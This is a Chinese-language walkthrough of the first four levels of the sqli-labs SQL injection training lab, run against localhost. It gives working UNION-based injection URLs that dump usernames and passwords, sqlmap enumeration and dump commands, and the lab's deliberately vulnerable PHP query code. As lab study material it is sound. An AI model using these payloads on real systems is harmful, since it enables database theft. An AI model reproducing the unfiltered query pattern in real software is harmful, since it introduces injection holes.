环境搭建
用于SQL注入学习环境
第一关 基于错误的GET单引号字符型注入
存在注入点判断
加上单引号报错
1
http://localhost/sqlilabs/practice/example1.php?id=1'
加上注释符页面正常
1
http://localhost/sqlilabs/practice/example1.php?id=1' %23
- 注释方式
- # 号注释
- %23 注释
- –+ 注释
- 判断字段数(使用order by)
1 | http://localhost/sqlilabs/practice/example1.php?id=1' order by 3%23 # 正常 |
- 执行注入Payload
1
2# 判断显示的信息点,通过id=-1来执行联合查询
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,2,3%23
- 常用查询信息
- database() # 在用的数据库名
- user() # 用户信息
- version() # 数据库版本信息
- @@basedir # 数据库安装路径
- @@version_compile_os # 操作系统版本
- 查看数据库数据
查看表名称
group_concat函数:将查询到的多行结果连接成字符串
1
http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
查看列名
1 | http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+ |
- 查看字段
1 | http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+ |
将整个表内容显示出来了
sqlmap 注入常用命令
1
2
3
4
5
6
sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据
注意的点
- -–batch 默认选项运行
- –dbs 爆破数据库
-–technique 指定sqlmap使用的检测技术
- B:Boolean-based-blind (布尔型注入)
- U:Union query-based (联合注入)
- E:Error-based (报错型注入)
- S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
sqlmap -u “http://localhost/Less-1/?id=1" –dbs –batch –technique B
第二关 基于错误的GET整型注入
存在注入点判断
加上单引号报错
1
http://localhost/sqlilabs2/Less-2/index.php?id=1'--+
加上and 1=1 页面正常
1
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 1=1--+
加上and 12=2 页面不正常
1
http://localhost/sqlilabs2/Less-2/index.php?id=1 and 12=2--+
说明执行了传入的payload,存在注入
判断字段数
1
2
3
4http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 3--+ # 正常
http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 4--+ # 页面显示错误
说明字段数为3查询表名
1 | http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+ |
- 查询字段名
1 | http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+ |
- 直接查询数据库数据
1 | http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+ |
第三关 基于错误的GET单引号变形注入
存在注入点判断
加上单引号报错,发现存在)
1 | http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=2 --+ # 报错 |
直接上payload,将数据库脱出1
http://localhost/sqlilabs2/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
第四关 基于错误的GET双引号字符型注入
存在注入点判断
加上双引号报错,发现存在”
1 | http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=2 --+ # 报错 |
直接上payload,将数据库脱出1
http://localhost/sqlilabs2/Less-4/index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
SQLMAP注入
直接上payload 1-4关皆可以用该命令
1 | sqlmap -u "http://localhost/sqlilabs2/Less-2/index.php?id=1" --batch -D security -T users --columns --dump |
源代码分析
直接贴源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>由源码看出对GET传入的参数未做任何过滤,并打印出错误信息,直接在数据库中查询,导致可以将payload传入拼接执行
- 第一题SQL语句
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
- 第二题SQL语句
$sql=”SELECT * FROM users WHERE id=$id LIMIT 0,1”;
- 第三题SQL语句
$sql=”SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1”;
- 第四题SQL语句
$sql=”SELECT * FROM users WHERE id=(“$id”) LIMIT 0,1”;
- 第一题SQL语句
通过源代码可以更加清晰的理解payload的构造思路